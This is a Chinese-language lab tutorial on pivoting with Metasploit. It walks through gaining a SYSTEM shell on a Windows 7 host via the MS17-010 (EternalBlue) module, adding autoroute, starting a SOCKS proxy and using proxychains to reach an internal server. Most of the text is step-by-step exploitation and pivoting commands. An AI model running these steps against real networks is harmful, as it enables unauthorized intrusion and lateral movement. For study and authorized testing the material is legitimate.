MSF开启socks代理内网渗透_本机启动socks代理进行内网访问:

简介

当我们通过MSF拿到一个机器的权限后，想通过MSF搭建socks代理，然后通内网。

MSF中有三个代理模块，分别是socks4a、socks5、socks_unc。一般用 socks4a和socks5进行代理,socks5可以设置用户名和密码；现在新版本的kali已经整合了socks代理。

测试环境

kali: 192.168.95.128

windows7: 192.168.95.169 ; 192.168.70.3

server2012: 192.168.70.2

MSF会话

先扫描一下网段，windows7存在永恒之蓝漏洞，利用msf漏洞利用模块拿shell

这里使用fscan扫描出来windows7存在两张网卡；95网段可以连通；70网段无法连通

msfconsole

search ms17-010

use 0

set rhost 目标主机ip

exploit

成功返回shell，ms17-010权限是系统权限很高

添加路由

使用代理之前，需要先添加路由，让MSF能到达目标机器内网。

这里socks模块只是将代理设置为监听的端口(默认是1080)，通过proxychains的流量都转给本地的1080端口，因为这是MSF起的监听端口，所以通过代理走的流量也都能到达内网。

background #将会话置于后台

sessions     #查看后台会话连接

search autoroute

use 0

set sessions 1

run

route print   #打印路由

这时候已经可以访问到server2012机器了，但是到这里只能是msf使用，其它的应用依然无法访问

MSF搭建socks代理

search socks

use 0

options  #查看模块参数

run

连接socks代理

修改proxychains配置

vi  /etc/proxychains4.conf

然后在需要执行的命令前加上 proxychains命令

例如: proxychains ping 192.168.70.2 -c4

声明
提供的技术仅供学习参考测试，利用本文提供的信息造成的直接或间接损失由使用者自行承担。

---

结语

那些能让你变好的事，最开始也许不容易，但最后一定能成长。